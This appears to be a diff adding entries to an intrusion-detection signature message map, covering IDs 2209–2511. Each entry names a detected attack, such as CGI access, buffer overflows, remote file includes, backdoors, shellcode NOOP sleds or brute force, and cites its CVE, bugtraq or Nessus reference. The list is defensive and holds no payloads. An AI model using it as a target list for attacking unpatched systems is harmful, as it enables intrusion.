+2209 || WEB-CGI getdoc.cgi access || bugtraq,4579 || cve,2000-0288 || nessus,11748
+2210 || WEB-CGI global.cgi access || bugtraq,4579 || cve,2000-0952 || nessus,11748
+2211 || WEB-CGI guestserver.cgi access || bugtraq,4579 || cve,2001-0180 || nessus,11748
+2212 || WEB-CGI imageFolio.cgi access || bugtraq,4579 || bugtraq,6265 || cve,2002-1334 || nessus,11748
+2213 || WEB-CGI mailfile.cgi access || bugtraq,1807 || bugtraq,4579 || cve,2000-0977 || nessus,11748
+2214 || WEB-CGI mailview.cgi access || bugtraq,1335 || bugtraq,4579 || cve,2000-0526 || nessus,11748
+2215 || WEB-CGI nsManager.cgi access || bugtraq,1710 || bugtraq,4579 || cve,2000-1023 || nessus,11748
+2216 || WEB-CGI readmail.cgi access || bugtraq,3427 || bugtraq,4579 || cve,2001-1283 || nessus,11748
+2217 || WEB-CGI printmail.cgi access || bugtraq,3427 || bugtraq,4579 || cve,2001-1283 || nessus,11748
+2218 || WEB-CGI service.cgi access || bugtraq,4211 || bugtraq,4579 || cve,2002-0346 || nessus,11748
+2219 || WEB-CGI setpasswd.cgi access || bugtraq,2212 || bugtraq,4579 || cve,2001-0133 || nessus,11748
+2220 || WEB-CGI simplestmail.cgi access || bugtraq,2106 || bugtraq,4579 || cve,2001-0022 || nessus,11748
+2221 || WEB-CGI ws_mail.cgi access || bugtraq,2861 || bugtraq,4579 || cve,2001-1343 || nessus,11748
+2222 || WEB-CGI nph-exploitscanget.cgi access || bugtraq,7910 || bugtraq,7911 || bugtraq,7913 || cve,2003-0434 || nessus,11740
+2223 || WEB-CGI csNews.cgi access || bugtraq,4994 || cve,2002-0923 || nessus,11726
+2224 || WEB-CGI psunami.cgi access || bugtraq,6607 || nessus,11750
+2225 || WEB-CGI gozila.cgi access || bugtraq,6086 || cve,2002-1236 || nessus,11773
+2226 || WEB-PHP pmachine remote file include attempt || bugtraq,7919 || nessus,11739
+2227 || WEB-PHP forum_details.php access || bugtraq,7933 || nessus,11760
+2228 || WEB-PHP phpMyAdmin db_details_importdocsql.php access || bugtraq,7962 || bugtraq,7965 || nessus,11761
+2229 || WEB-PHP viewtopic.php access || bugtraq,7979 || cve,2003-0486 || nessus,11767
+2230 || WEB-MISC NetGear router default password login attempt admin/password || nessus,11737
+2231 || WEB-MISC register.dll access || bugtraq,3327 || cve,2001-0958 || nessus,11747
+2232 || WEB-MISC ContentFilter.dll access || bugtraq,3327 || cve,2001-0958 || nessus,11747
+2233 || WEB-MISC SFNofitication.dll access || bugtraq,3327 || cve,2001-0958 || nessus,11747
+2234 || WEB-MISC TOP10.dll access || bugtraq,3327 || cve,2001-0958 || nessus,11747
+2235 || WEB-MISC SpamExcp.dll access || bugtraq,3327 || cve,2001-0958 || nessus,11747
+2236 || WEB-MISC spamrule.dll access || bugtraq,3327 || cve,2001-0958 || nessus,11747
+2237 || WEB-MISC cgiWebupdate.exe access || bugtraq,3216 || cve,2001-1150 || nessus,11722
+2238 || WEB-MISC WebLogic ConsoleHelp view source attempt || bugtraq,1518 || cve,2000-0682 || nessus,11724
+2239 || WEB-MISC redirect.exe access || bugtraq,1256 || cve,2000-0401
+2240 || WEB-MISC changepw.exe access || bugtraq,1256 || cve,2000-0401
+2241 || WEB-MISC cwmail.exe access || bugtraq,4093 || cve,2002-0273 || nessus,11727
+2242 || WEB-MISC ddicgi.exe access || bugtraq,1657 || cve,2000-0826 || nessus,11728
+2243 || WEB-MISC ndcgi.exe access || bugtraq,3583 || cve,2001-0922 || nessus,11730
+2244 || WEB-MISC VsSetCookie.exe access || bugtraq,3784 || cve,2002-0236 || nessus,11731
+2245 || WEB-MISC Webnews.exe access || bugtraq,4124 || cve,2002-0290 || nessus,11732
+2246 || WEB-MISC webadmin.dll access || bugtraq,7438 || bugtraq,7439 || bugtraq,8024 || cve,2003-0471 || nessus,11771
+2247 || WEB-IIS UploadScript11.asp access || cve,2001-0938
+2248 || WEB-IIS DirectoryListing.asp access || cve,2001-0938
+2249 || WEB-IIS /pcadmin/login.asp access || bugtraq,8103 || nessus,11785
+2250 || POP3 USER format string attempt || bugtraq,10976 || bugtraq,7667 || cve,2003-0391 || nessus,11742
+2251 || NETBIOS DCERPC Remote Activation bind attempt || bugtraq,8234 || bugtraq,8458 || cve,2003-0528 || cve,2003-0605 || cve,2003-0715 || nessus,11798 || nessus,11835 || url,www.microsoft.com/technet/security/bulletin/MS03-039.mspx
+2252 || NETBIOS SMB-DS DCERPC Remote Activation bind attempt || bugtraq,8234 || bugtraq,8458 || cve,2003-0528 || cve,2003-0605 || cve,2003-0715 || nessus,11798 || nessus,11835 || url,www.microsoft.com/technet/security/bulletin/MS03-039.mspx
+2253 || SMTP XEXCH50 overflow attempt || bugtraq,8838 || cve,2003-0714 || nessus,11889 || url,www.microsoft.com/technet/security/bulletin/MS03-046.mspx
+2254 || SMTP XEXCH50 overflow with evasion attempt || url,www.microsoft.com/technet/security/bulletin/MS03-046.mspx
+2255 || RPC sadmind query with root credentials attempt TCP
+2256 || RPC sadmind query with root credentials attempt UDP
+2257 || NETBIOS DCERPC Messenger Service buffer overflow attempt || bugtraq,8826 || cve,2003-0717 || nessus,11888 || nessus,11890 || url,www.microsoft.com/technet/security/bulletin/MS03-043.mspx
+2258 || NETBIOS SMB-DS DCERPC Messenger Service buffer overflow attempt || bugtraq,8826 || cve,2003-0717 || nessus,11888 || nessus,11890 || url,www.microsoft.com/technet/security/bulletin/MS03-043.mspx
+2259 || SMTP EXPN overflow attempt || bugtraq,6991 || bugtraq,7230 || cve,2002-1337 || cve,2003-0161
+2260 || SMTP VRFY overflow attempt || bugtraq,6991 || bugtraq,7230 || cve,2002-1337 || cve,2003-0161
+2261 || SMTP SEND FROM sendmail prescan too many addresses overflow || bugtraq,6991 || cve,2002-1337 || nessus,11316
+2262 || SMTP SEND FROM sendmail prescan too long addresses overflow || bugtraq,7230 || cve,2003-0161
+2263 || SMTP SAML FROM sendmail prescan too many addresses overflow || bugtraq,6991 || cve,2002-1337
+2264 || SMTP SAML FROM sendmail prescan too long addresses overflow || bugtraq,7230 || cve,2003-0161
+2265 || SMTP SOML FROM sendmail prescan too many addresses overflow || bugtraq,6991 || cve,2002-1337
+2266 || SMTP SOML FROM sendmail prescan too long addresses overflow || bugtraq,7230 || cve,2003-0161
+2267 || SMTP MAIL FROM sendmail prescan too many addresses overflow || bugtraq,6991 || cve,2002-1337
+2268 || SMTP MAIL FROM sendmail prescan too long addresses overflow || bugtraq,7230 || cve,2003-0161
+2269 || SMTP RCPT TO sendmail prescan too many addresses overflow || bugtraq,6991 || cve,2002-1337
+2270 || SMTP RCPT TO sendmail prescan too long addresses overflow || bugtraq,7230 || cve,2003-0161
+2271 || BACKDOOR FsSniffer connection attempt || nessus,11854
+2272 || FTP LIST integer overflow attempt || bugtraq,8875 || cve,2003-0853 || cve,2003-0854
+2273 || IMAP login brute force attempt
+2274 || POP3 login brute force attempt
+2275 || SMTP AUTH LOGON brute force attempt
+2276 || WEB-MISC oracle portal demo access || nessus,11918
+2277 || WEB-MISC PeopleSoft PeopleBooks psdoccgi access || bugtraq,9037 || bugtraq,9038 || cve,2003-0626 || cve,2003-0627
+2278 || WEB-MISC client negative Content-Length attempt || bugtraq,9098 || bugtraq,9476 || bugtraq,9576 || cve,2004-0095
+2279 || WEB-PHP UpdateClasses.php access || bugtraq,9057
+2280 || WEB-PHP Title.php access || bugtraq,9057
+2281 || WEB-PHP Setup.php access || bugtraq,9057
+2282 || WEB-PHP GlobalFunctions.php access || bugtraq,9057
+2283 || WEB-PHP DatabaseFunctions.php access || bugtraq,9057
+2284 || WEB-PHP rolis guestbook remote file include attempt || bugtraq,9057
+2285 || WEB-PHP rolis guestbook access || bugtraq,9057
+2286 || WEB-PHP friends.php access || bugtraq,9088
+2287 || WEB-PHP Advanced Poll admin_comment.php access || bugtraq,8890 || nessus,11487
+2288 || WEB-PHP Advanced Poll admin_edit.php access || bugtraq,8890 || nessus,11487
+2289 || WEB-PHP Advanced Poll admin_embed.php access || bugtraq,8890 || nessus,11487
+2290 || WEB-PHP Advanced Poll admin_help.php access || bugtraq,8890 || nessus,11487
+2291 || WEB-PHP Advanced Poll admin_license.php access || bugtraq,8890 || nessus,11487
+2292 || WEB-PHP Advanced Poll admin_logout.php access || bugtraq,8890 || nessus,11487
+2293 || WEB-PHP Advanced Poll admin_password.php access || bugtraq,8890 || nessus,11487
+2294 || WEB-PHP Advanced Poll admin_preview.php access || bugtraq,8890 || nessus,11487
+2295 || WEB-PHP Advanced Poll admin_settings.php access || bugtraq,8890 || nessus,11487
+2296 || WEB-PHP Advanced Poll admin_stats.php access || bugtraq,8890 || nessus,11487
+2297 || WEB-PHP Advanced Poll admin_templates_misc.php access || bugtraq,8890 || nessus,11487
+2298 || WEB-PHP Advanced Poll admin_templates.php access || bugtraq,8890 || nessus,11487
+2299 || WEB-PHP Advanced Poll admin_tpl_misc_new.php access || bugtraq,8890 || nessus,11487
+2300 || WEB-PHP Advanced Poll admin_tpl_new.php access || bugtraq,8890 || nessus,11487
+2301 || WEB-PHP Advanced Poll booth.php access || bugtraq,8890 || nessus,11487
+2302 || WEB-PHP Advanced Poll poll_ssi.php access || bugtraq,8890 || nessus,11487
+2303 || WEB-PHP Advanced Poll popup.php access || bugtraq,8890 || nessus,11487
+2304 || WEB-PHP files.inc.php access || bugtraq,8910
+2305 || WEB-PHP chatbox.php access || bugtraq,8930
+2306 || WEB-PHP gallery remote file include attempt || bugtraq,8814 || nessus,11876
+2307 || WEB-PHP PayPal Storefront remote file include attempt || bugtraq,8791 || nessus,11873
+2308 || NETBIOS SMB DCERPC Workstation Service unicode bind attempt || bugtraq,9011 || cve,2003-0812 || url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx
+2309 || NETBIOS SMB DCERPC Workstation Service bind attempt || bugtraq,9011 || cve,2003-0812 || url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx
+2310 || NETBIOS SMB-DS DCERPC Workstation Service unicode bind attempt || bugtraq,9011 || cve,2003-0812 || url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx
+2311 || NETBIOS SMB-DS DCERPC Workstation Service bind attempt || bugtraq,9011 || cve,2003-0812 || url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx
+2312 || SHELLCODE x86 0x71FB7BAB NOOP
+2313 || SHELLCODE x86 0x71FB7BAB NOOP unicode
+2314 || SHELLCODE x86 0x90 NOOP unicode
+2315 || NETBIOS DCERPC Workstation Service direct service bind attempt || bugtraq,9011 || cve,2003-0812 || url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx
+2316 || NETBIOS DCERPC Workstation Service direct service access attempt || bugtraq,9011 || cve,2003-0812 || url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx
+2317 || MISC CVS non-relative path error response || bugtraq,9178 || cve,2003-0977
+2318 || MISC CVS non-relative path access attempt || bugtraq,9178 || cve,2003-0977
+2319 || EXPLOIT ebola PASS overflow attempt || bugtraq,9156
+2320 || EXPLOIT ebola USER overflow attempt || bugtraq,9156
+2321 || WEB-IIS foxweb.exe access || nessus,11939
+2322 || WEB-IIS foxweb.dll access || nessus,11939
+2323 || WEB-CGI quickstore.cgi access || bugtraq,9282 || nessus,11975
+2324 || WEB-IIS VP-ASP shopsearch.asp access || bugtraq,9133 || bugtraq,9134 || nessus,11942
+2325 || WEB-IIS VP-ASP ShopDisplayProducts.asp access || bugtraq,9133 || bugtraq,9134 || nessus,11942
+2326 || WEB-IIS sgdynamo.exe access || bugtraq,4720 || cve,2002-0375 || nessus,11955
+2327 || WEB-MISC bsml.pl access || bugtraq,9311 || nessus,11973
+2328 || WEB-PHP authentication_index.php access || cve,2004-0032 || nessus,11982
+2329 || MS-SQL probe response overflow attempt || bugtraq,9407 || cve,2003-0903 || url,www.microsoft.com/technet/security/bulletin/MS04-003.mspx
+2330 || IMAP auth overflow attempt || bugtraq,8861
+2331 || WEB-PHP MatrikzGB privilege escalation attempt || bugtraq,8430
+2332 || FTP MKDIR format string attempt || bugtraq,9262
+2333 || FTP RENAME format string attempt || bugtraq,9262
+2334 || FTP Yak! FTP server default account login attempt || bugtraq,9072
+2335 || FTP RMD / attempt || bugtraq,9159
+2336 || TFTP NULL command attempt || bugtraq,7575
+2337 || TFTP PUT filename overflow attempt || bugtraq,7819 || bugtraq,8505 || cve,2003-0380
+2338 || FTP LIST buffer overflow attempt || bugtraq,10181 || bugtraq,6869 || bugtraq,7251 || bugtraq,7861 || bugtraq,8486 || bugtraq,9675 || cve,1999-0349 || cve,1999-1510 || cve,2000-0129 || url,www.microsoft.com/technet/security/bulletin/MS99-003.mspx
+2339 || TFTP NULL command attempt || bugtraq,7575
+2340 || FTP SITE CHMOD overflow attempt || bugtraq,10181 || bugtraq,9483 || bugtraq,9675 || cve,1999-0838 || nessus,12037
+2341 || WEB-PHP DCP-Portal remote file include attempt || bugtraq,6525
+2342 || WEB-PHP DCP-Portal remote file include attempt || bugtraq,6525
+2343 || FTP STOR overflow attempt || bugtraq,8668 || cve,2000-0133
+2344 || FTP XCWD overflow attempt || bugtraq,11542 || bugtraq,8704
+2345 || WEB-PHP PhpGedView search.php access || bugtraq,9369 || cve,2004-0032
+2346 || WEB-PHP myPHPNuke chatheader.php access || bugtraq,6544
+2347 || WEB-PHP myPHPNuke partner.php access || bugtraq,6544
+2348 || NETBIOS SMB-DS DCERPC print spool bind attempt
+2349 || NETBIOS SMB-DS DCERPC enumerate printers request attempt
+2350 || NETBIOS DCERPC ISystemActivator bind accept || bugtraq,8205 || cve,2003-0352 || nessus,11808 || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+2351 || NETBIOS DCERPC ISystemActivator path overflow attempt little endian unicode || bugtraq,8205 || cve,2003-0352 || nessus,11808 || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+2352 || NETBIOS DCERPC ISystemActivator path overflow attempt big endian unicode || bugtraq,8205 || cve,2003-0352 || nessus,11808 || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+2353 || WEB-PHP IdeaBox cord.php file include || bugtraq,7488
+2354 || WEB-PHP IdeaBox notification.php file include || bugtraq,7488
+2355 || WEB-PHP Invision Board emailer.php file include || bugtraq,7204
+2356 || WEB-PHP WebChat db_mysql.php file include || bugtraq,7000
+2357 || WEB-PHP WebChat english.php file include || bugtraq,7000
+2358 || WEB-PHP Typo3 translations.php file include || bugtraq,6984
+2359 || WEB-PHP Invision Board ipchat.php file include || bugtraq,6976
+2360 || WEB-PHP myphpPagetool pt_config.inc file include || bugtraq,6744
+2361 || WEB-PHP news.php file include || bugtraq,6674
+2362 || WEB-PHP YaBB SE packages.php file include || bugtraq,6663
+2363 || WEB-PHP Cyboards default_header.php access || bugtraq,6597
+2364 || WEB-PHP Cyboards options_form.php access || bugtraq,6597
+2365 || WEB-PHP newsPHP Language file include attempt || bugtraq,8488
+2366 || WEB-PHP PhpGedView PGV authentication_index.php base directory manipulation attempt || bugtraq,9368 || cve,2004-0030
+2367 || WEB-PHP PhpGedView PGV functions.php base directory manipulation attempt || bugtraq,9368 || cve,2004-0030
+2368 || WEB-PHP PhpGedView PGV config_gedcom.php base directory manipulation attempt || bugtraq,9368 || cve,2004-0030
+2369 || WEB-MISC ISAPISkeleton.dll access || bugtraq,9516
+2370 || WEB-MISC BugPort config.conf file access || bugtraq,9542
+2371 || WEB-MISC Sample_showcode.html access || bugtraq,9555
+2372 || WEB-PHP Photopost PHP Pro showphoto.php access || bugtraq,9557
+2373 || FTP XMKD overflow attempt || bugtraq,7909 || cve,2000-0133 || cve,2001-1021
+2374 || FTP NLST overflow attempt || bugtraq,10184 || bugtraq,7909 || bugtraq,9675 || cve,1999-1544
+2375 || BACKDOOR DoomJuice file upload attempt || url,securityresponse.symantec.com/avcenter/venc/data/w32.hllw.doomjuice.html
+2376 || EXPLOIT ISAKMP first payload certificate request length overflow attempt || bugtraq,9582 || cve,2004-0040
+2377 || EXPLOIT ISAKMP second payload certificate request length overflow attempt || bugtraq,9582 || cve,2004-0040
+2378 || EXPLOIT ISAKMP third payload certificate request length overflow attempt || bugtraq,9582 || cve,2004-0040
+2379 || EXPLOIT ISAKMP forth payload certificate request length overflow attempt || bugtraq,9582 || cve,2004-0040
+2380 || EXPLOIT ISAKMP fifth payload certificate request length overflow attempt || bugtraq,9582 || cve,2004-0040
+2381 || WEB-MISC schema overflow attempt || bugtraq,9581 || cve,2004-0039 || nessus,12084
+2382 || NETBIOS SMB Session Setup NTMLSSP asn1 overflow attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+2383 || NETBIOS SMB-DS Session Setup NTMLSSP asn1 overflow attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+2384 || NETBIOS SMB NTLMSSP invalid mechlistMIC attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12054 || nessus,12065
+2385 || NETBIOS SMB-DS DCERPC NTLMSSP invalid mechlistMIC attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12054 || nessus,12065
+2386 || WEB-IIS NTLM ASN.1 vulnerability scan attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12055 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+2387 || WEB-CGI view_broadcast.cgi access || bugtraq,8257 || cve,2003-0422
+2388 || WEB-CGI streaming server view_broadcast.cgi access || bugtraq,8257 || cve,2003-0422
+2389 || FTP RNTO overflow attempt || bugtraq,8315 || cve,2000-0133 || cve,2001-1021 || cve,2003-0466
+2390 || FTP STOU overflow attempt || bugtraq,8315 || cve,2003-0466
+2391 || FTP APPE overflow attempt || bugtraq,8315 || bugtraq,8542 || cve,2000-0133 || cve,2003-0466
+2392 || FTP RETR overflow attempt || bugtraq,8315 || cve,2003-0466 || cve,2004-0287 || cve,2004-0298
+2393 || WEB-PHP /_admin access || bugtraq,9537 || nessus,12032
+2394 || WEB-MISC Compaq web-based management agent denial of service attempt || bugtraq,8014
+2395 || WEB-MISC InteractiveQuery.jsp access || bugtraq,8938 || cve,2003-0624
+2396 || WEB-CGI CCBill whereami.cgi arbitrary command execution attempt || bugtraq,8095 || url,secunia.com/advisories/9191/
+2397 || WEB-CGI CCBill whereami.cgi access || bugtraq,8095 || url,secunia.com/advisories/9191/
+2398 || WEB-PHP WAnewsletter newsletter.php file include attempt || bugtraq,6965
+2399 || WEB-PHP WAnewsletter db_type.php access || bugtraq,6964
+2400 || WEB-MISC edittag.pl access || bugtraq,6675
+2401 || NETBIOS SMB Session Setup AndX request username overflow attempt || bugtraq,9752 || url,www.eeye.com/html/Research/Advisories/AD20040226.html
+2402 || NETBIOS SMB-DS Session Setup AndX request username overflow attempt || bugtraq,9752 || url,www.eeye.com/html/Research/Advisories/AD20040226.html
+2403 || NETBIOS SMB Session Setup AndX request unicode username overflow attempt || bugtraq,9752 || url,www.eeye.com/html/Research/Advisories/AD20040226.html
+2404 || NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt || bugtraq,9752 || url,www.eeye.com/html/Research/Advisories/AD20040226.html
+2405 || WEB-PHP phptest.php access || bugtraq,9737
+2406 || TELNET APC SmartSlot default admin account attempt || bugtraq,9681 || cve,2004-0311 || nessus,12066
+2407 || WEB-MISC util.pl access || bugtraq,9748
+2408 || WEB-MISC Invision Power Board search.pl access || bugtraq,9766
+2409 || POP3 APOP USER overflow attempt || bugtraq,9794
+2410 || WEB-PHP IGeneric Free Shopping Cart page.php access || bugtraq,9773
+2411 || WEB-MISC Real Server DESCRIBE buffer overflow attempt || bugtraq,8476 || url,www.service.real.com/help/faq/security/rootexploit091103.html
+2412 || ATTACK-RESPONSES successful cross site scripting forced download attempt
+2413 || EXPLOIT ISAKMP delete hash with empty hash attempt || bugtraq,9416 || bugtraq,9417 || cve,2004-0164
+2414 || EXPLOIT ISAKMP initial contact notification without SPI attempt || bugtraq,9416 || bugtraq,9417 || cve,2004-0164
+2415 || EXPLOIT ISAKMP second payload initial contact notification without SPI attempt || bugtraq,9416 || bugtraq,9417 || cve,2004-0164
+2416 || FTP invalid MDTM command attempt || bugtraq,9751 || cve,2001-1021 || cve,2004-0330
+2417 || FTP format string attempt
+2418 || MISC MS Terminal Server no encryption session initiation attempt || url,www.microsoft.com/technet/security/bulletin/MS01-052.mspx
+2419 || MULTIMEDIA realplayer .ram playlist download attempt
+2420 || MULTIMEDIA realplayer .rmp playlist download attempt
+2421 || MULTIMEDIA realplayer .smi playlist download attempt
+2422 || MULTIMEDIA realplayer .rt playlist download attempt
+2423 || MULTIMEDIA realplayer .rp playlist download attempt
+2424 || NNTP sendsys overflow attempt || bugtraq,9382 || cve,2004-0045
+2425 || NNTP senduuname overflow attempt || bugtraq,9382 || cve,2004-0045
+2426 || NNTP version overflow attempt || bugtraq,9382 || cve,2004-0045
+2427 || NNTP checkgroups overflow attempt || bugtraq,9382 || cve,2004-0045
+2428 || NNTP ihave overflow attempt || bugtraq,9382 || cve,2004-0045
+2429 || NNTP sendme overflow attempt || bugtraq,9382 || cve,2004-0045
+2430 || NNTP newgroup overflow attempt || bugtraq,9382 || cve,2004-0045
+2431 || NNTP rmgroup overflow attempt || bugtraq,9382 || cve,2004-0045
+2432 || NNTP article post without path attempt
+2433 || WEB-CGI MDaemon form2raw.cgi overflow attempt || bugtraq,9317 || url,secunia.com/advisories/10512/
+2434 || WEB-CGI MDaemon form2raw.cgi access || bugtraq,9317 || url,secunia.com/advisories/10512/
+2435 || WEB-CLIENT Microsoft emf metafile access || bugtraq,10120 || bugtraq,9707 || cve,2003-0906 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2436 || WEB-CLIENT Microsoft wmf metafile access || bugtraq,10120 || bugtraq,9707 || cve,2003-0906 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2437 || WEB-CLIENT RealPlayer arbitrary javascript command attempt || bugtraq,8453 || bugtraq,9378 || cve,2003-0726
+2438 || WEB-CLIENT RealPlayer playlist file URL overflow attempt || bugtraq,9579 || cve,2004-0258
+2439 || WEB-CLIENT RealPlayer playlist http URL overflow attempt || bugtraq,9579 || cve,2004-0258
+2440 || WEB-CLIENT RealPlayer playlist rtsp URL overflow attempt || bugtraq,9579 || cve,2004-0258
+2441 || WEB-MISC NetObserve authentication bypass attempt || bugtraq,9319
+2442 || WEB-MISC Quicktime User-Agent buffer overflow attempt || bugtraq,9735 || cve,2004-0169
+2443 || EXPLOIT ICQ SRV_MULTI/SRV_META_USER first name overflow attempt || url,www.eeye.com/html/Research/Advisories/AD20040318.html
+2444 || EXPLOIT ICQ SRV_MULTI/SRV_META_USER first name overflow attempt || url,www.eeye.com/html/Research/Advisories/AD20040318.html
+2445 || EXPLOIT ICQ SRV_MULTI/SRV_META_USER last name overflow attempt || url,www.eeye.com/html/Research/Advisories/AD20040318.html
+2446 || EXPLOIT ICQ SRV_MULTI/SRV_META_USER overflow attempt || cve,2004-0362 || url,www.eeye.com/html/Research/Advisories/AD20040318.html
+2447 || WEB-MISC ServletManager access || bugtraq,3697 || cve,2001-1195 || nessus,12122
+2448 || WEB-MISC setinfo.hts access || bugtraq,9973 || nessus,12120
+2449 || FTP ALLO overflow attempt || bugtraq,9953
+2450 || CHAT Yahoo IM successful logon
+2451 || CHAT Yahoo IM voicechat
+2452 || CHAT Yahoo IM ping
+2453 || CHAT Yahoo IM conference invitation
+2454 || CHAT Yahoo IM conference logon success
+2455 || CHAT Yahoo IM conference message
+2456 || CHAT Yahoo Messenger File Transfer Receive Request
+2457 || CHAT Yahoo IM message
+2458 || CHAT Yahoo IM successful chat join
+2459 || CHAT Yahoo IM conference offer invitation
+2460 || CHAT Yahoo IM conference request
+2461 || CHAT Yahoo IM conference watch
+2462 || EXPLOIT IGMP IGAP account overflow attempt || bugtraq,9952 || cve,2004-0176 || cve,2004-0367
+2463 || EXPLOIT IGMP IGAP message overflow attempt || bugtraq,9952 || cve,2004-0176 || cve,2004-0367
+2464 || EXPLOIT EIGRP prefix length overflow attempt || bugtraq,9952 || cve,2004-0176 || cve,2004-0367
+2465 || NETBIOS SMB-DS IPC$ share access
+2466 || NETBIOS SMB-DS IPC$ unicode share access
+2467 || NETBIOS SMB D$ unicode share access
+2468 || NETBIOS SMB-DS D$ share access
+2469 || NETBIOS SMB-DS D$ unicode share access
+2470 || NETBIOS SMB C$ unicode share access
+2471 || NETBIOS SMB-DS C$ share access
+2472 || NETBIOS SMB-DS C$ unicode share access
+2473 || NETBIOS SMB ADMIN$ unicode share access
+2474 || NETBIOS SMB-DS ADMIN$ share access
+2475 || NETBIOS SMB-DS ADMIN$ unicode share access
+2476 || NETBIOS SMB-DS winreg create tree attempt
+2477 || NETBIOS SMB-DS winreg unicode create tree attempt
+2478 || NETBIOS SMB-DS winreg bind attempt
+2479 || NETBIOS SMB-DS winreg unicode bind attempt
+2480 || NETBIOS SMB-DS InitiateSystemShutdown unicode attempt
+2481 || NETBIOS SMB-DS InitiateSystemShutdown unicode little endian attempt
+2482 || NETBIOS SMB-DS InitiateSystemShutdown attempt
+2483 || NETBIOS SMB-DS InitiateSystemShutdown little endian attempt
+2484 || WEB-MISC source.jsp access || nessus,12119
+2485 || WEB-CLIENT Norton antivirus sysmspam.dll load attempt || bugtraq,9916 || cve,2004-0363
+2486 || DOS ISAKMP invalid identification payload attempt || bugtraq,10004 || cve,2004-0184
+2487 || SMTP WinZip MIME content-type buffer overflow || bugtraq,9758 || cve,2004-0333 || nessus,12621
+2488 || SMTP WinZip MIME content-disposition buffer overflow || bugtraq,9758 || cve,2004-0333 || nessus,12621
+2489 || EXPLOIT esignal STREAMQUOTE buffer overflow attempt || bugtraq,9978
+2490 || EXPLOIT esignal SNAPQUOTE buffer overflow attempt || bugtraq,9978
+2491 || NETBIOS SMB-DS DCERPC ISystemActivator unicode bind attempt || bugtraq,8811 || cve,2003-0813 || nessus,12206 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2492 || NETBIOS SMB DCERPC ISystemActivator bind attempt || bugtraq,8811 || cve,2003-0813 || nessus,12206 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2493 || NETBIOS SMB DCERPC ISystemActivator unicode bind attempt || bugtraq,8811 || cve,2003-0813 || nessus,12206 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2494 || NETBIOS DCEPRC ORPCThis request flood attempt || bugtraq,8811 || cve,2003-0813 || nessus,12206 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2495 || NETBIOS SMB DCEPRC ORPCThis request flood attempt || bugtraq,8811 || cve,2003-0813 || nessus,12206 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2496 || NETBIOS SMB-DS DCEPRC ORPCThis request flood attempt || bugtraq,8811 || cve,2003-0813 || nessus,12206 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2497 || IMAP SSLv3 invalid data version attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2498 || IMAP SSLv3 invalid timestamp attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2499 || MISC LDAP SSLv3 invalid timestamp attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2500 || POP3 SSLv3 invalid data version attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2501 || POP3 SSLv3 invalid timestamp attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2502 || POP3 SSLv3 invalid data version attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2503 || SMTP SSLv3 invalid timestamp attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2504 || SMTP SSLv3 invalid data version attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2505 || WEB-MISC SSLv3 invalid data version attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2506 || WEB-MISC SSLv3 invalid timestamp attempt || bugtraq,10115 || cve,2004-0120 || nessus,12204 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2507 || NETBIOS DCERPC LSASS bind attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2508 || NETBIOS DCERPC LSASS DsRolerUpgradeDownlevelServer Exploit attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2509 || NETBIOS SMB DCERPC LSASS unicode bind attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2510 || NETBIOS SMB DCERPC LSASS bind attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+2511 || NETBIOS SMB DCERPC LSASS DsRolerUpgradeDownlevelServer exploit attempt || bugtraq,10108 || cve,2003-0533 || url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx
